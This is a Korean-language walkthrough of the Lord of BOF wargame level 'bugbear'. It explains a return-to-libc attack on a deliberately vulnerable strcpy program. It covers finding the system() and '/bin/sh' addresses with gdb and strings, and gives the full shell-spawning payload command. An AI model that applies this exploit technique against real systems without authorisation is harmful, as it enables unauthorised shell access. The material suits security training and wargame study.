[LOB] darkknight
darkknight로 로그인했더니 bugbear 파일이 있다.
이번에는 RTL로 푸는 문제이다.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
코드를 보면,
1. if(argv[1][47]!='\xbf')에서 48bytes째에서 입력 인자가 '\xbf'가 되어야 한다.
2. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
RTL(Return to Libc) 공격
- RTL 공격은 버퍼를 오버플로우 시켜 RET 주소에 공유 라이브러리 함수의 주소를 넣어 호출된 함수를 사용해서 복귀주소를 변경하는 것 (system, execve등이 이용)
* 공유 라이브러리 : 실행 시에 로드되는 라이브러리를 의미하며 확장자는 .so이다.
- 스택영역에서 코드를 실행하지 못하는 NX bit 보호기법이 있을 때, 이를 우회하기 위해 사용됨.
- RTL기법을 사용하기 위해서 libc 함수의 주소와 필요한 argument의 구성을 알아야 한다.
call func(인자1)
buffer |
sfp |
ret |
▼
buffer |
sfp |
func sfp |
func ret |
인자1 |
이 문제를 풀기위해 system함수를 사용하게 되면, sytem함수 주소와 그에 대한 인자로 "/bin/sh"을 주고 그 주소를 알면 된다.
1. system 함수 주소 획득하기
1) bugbear를 하나 복사한다음 /tmp/bugbear 폴더에 넣었다.
2) 그리고나서 gdb로 bugbear 파일을 연다음
b *main 한 뒤 run
3) 그리고 print system을 통해서 함수 주소를 얻었다.
system 함수 주소 : 0x40058ae0
2. /bin/sh인 경우는 system 함수 내부를 이용해야 한다고 한다.
→ system함수의 경우 내부적으로 execve 함수를 사용하는데, execve함수 안에는 "/bin/sh"을 이용하기 때문에 해당 문자열이 포함되어 있음
1) 코드로 참기
#include <stdio.h>
#include <string.h>
int main()
{
long system=0x40058ae0;
while (memcmp((void*)system,"/bin/sh\x00",8))
{
system++;
}
printf("/bin/sh : %x\n",system);
return 0;
}
- 코드 실행 결과 :
2) libc 라이브러리에서 string을 찾기
$ ldd ./bugbear
명령어로 이 바이너리가 사용하는 라이브러리 확인
system() 함수 라이브라리가 libc.so.6라는 것을 알면 grep을 통해서 위치 확인
$ strings -tx /lib/libc.so.6 | grep "/bin/sh"
이제 위 결과를 가지고 offset 계산이 필요
1) gdb /lib/libc.so.6
2) print system
3) p/x 0xe3ff9(/bin/sh) - 0x40ae0(system) = 0xa3519 (offset)
- offset 계산 결과를 가지고 bugbear 상에서의 /bin/sh 위치 계산
1) gdb -q bugbear
2) b *main
3) run
4) print system : 0x40058ae0
5) p/x 0x40058ae0(system) + 0xa3519(offset) = 0x400fbff9(/bin/sh)
6) x/s 0x400fbff9로 확인하면 /bin/sh인거 확인 가능
이제 공격 코드를 작성해보면,
1. sub $0x2c, %esp 로 변수로 44bytes가 할당 되었는데,
코드 안에 buffer 40bytes, i 4bytes로 딱 44bytes이기 때문에 dummy값이 없음.
2. RTL 이용해서 페이로드 구성
기존에 RET에서 system함수 인자를 줄수 있게 구성해서 페이로드를 만들면
44byte에 dummy값
+ system함수 주소
+ 4bytes dummy값
+ /bin/sh 문자열 주소
* system 함수 주소 : 0x40058ae0
* /bin/sh 문자열 주소 : 0x400fbff9
./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`
성공!